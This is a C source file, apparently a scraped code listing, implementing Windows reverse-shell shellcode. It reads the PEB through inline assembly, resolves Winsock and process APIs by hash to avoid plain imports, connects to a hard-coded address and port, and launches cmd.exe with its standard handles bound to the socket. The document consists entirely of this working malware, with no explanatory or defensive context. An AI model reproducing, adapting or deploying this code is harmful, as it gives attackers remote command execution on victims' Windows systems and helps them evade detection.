1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160
| #include <WinSock2.h> #include <WS2tcpip.h> #include <windows.h> #include <winnt.h> #include <winternl.h> #include <stddef.h> #include <stdio.h> #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8)) _inline PEB *getPEB() { PEB *p; __asm { mov eax, fs:[30h] mov p, eax } return p; } DWORD getHash(const char *str) { DWORD h = 0; while (*str) { h = (h >> 13) | (h << (32 - 13)); h += *str >= 'a' ? *str - 32 : *str; str++; } return h; } DWORD getFunctionHash(const char *moduleName, const char *functionName) { return getHash(moduleName) + getHash(functionName); } LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) { int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); }
PVOID getProcAddrByHash(DWORD hash) { PEB *peb = getPEB(); LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST_ENTRY *ptr = first; do { LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); ptr = ptr->Flink; BYTE *baseAddress = (BYTE *)dte->DllBase; if (!baseAddress) continue; IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!iedRVA) continue; IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); char *moduleName = (char *)(baseAddress + ied->Name); DWORD moduleHash = getHash(moduleName); DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); for (DWORD i = 0; i < ied->NumberOfNames; ++i) { char *functionName = (char *)(baseAddress + nameRVAs[i]); if (hash == moduleHash + getHash(functionName)) { WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; return baseAddress + functionRVA; } } } while (ptr != first); return NULL; } #define HASH_LoadLibraryA 0xf8b7108d #define HASH_WSAStartup 0x2ddcd540 #define HASH_WSACleanup 0x0b9d13bc #define HASH_WSASocketA 0x9fd4f16f #define HASH_WSAConnect 0xa50da182 #define HASH_CreateProcessA 0x231cbe70 #define HASH_inet_ntoa 0x1b73fed1 #define HASH_inet_addr 0x011bfae2 #define HASH_getaddrinfo 0xdc2953c9 #define HASH_getnameinfo 0x5c1c856e #define HASH_ExitThread 0x4b3153e0 #define HASH_WaitForSingleObject 0xca8e9498 #define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name) int entryPoint() {
DefineFuncPtr(LoadLibraryA); My_LoadLibraryA("ws2_32.dll"); DefineFuncPtr(WSAStartup); DefineFuncPtr(WSASocketA); DefineFuncPtr(WSAConnect); DefineFuncPtr(CreateProcessA); DefineFuncPtr(inet_ntoa); DefineFuncPtr(inet_addr); DefineFuncPtr(getaddrinfo); DefineFuncPtr(getnameinfo); DefineFuncPtr(ExitThread); DefineFuncPtr(WaitForSingleObject); const char *hostName = "127.0.0.1"; const int hostPort = 123; WSADATA wsaData; if (My_WSAStartup(MAKEWORD(2, 2), &wsaData)) goto __end; SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) goto __end; addrinfo *result; if (My_getaddrinfo(hostName, NULL, NULL, &result)) goto __end; char ip_addr[16]; My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST); SOCKADDR_IN remoteAddr; remoteAddr.sin_family = AF_INET; remoteAddr.sin_port = htons(hostPort); remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr); if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL)) goto __end; STARTUPINFOA sInfo; PROCESS_INFORMATION procInfo; SecureZeroMemory(&sInfo, sizeof(sInfo)); sInfo.cb = sizeof(sInfo); sInfo.dwFlags = STARTF_USESTDHANDLES; sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock; My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); My_WaitForSingleObject(procInfo.hProcess, INFINITE); __end: My_ExitThread(0); return 0; } int main() { return entryPoint(); }
|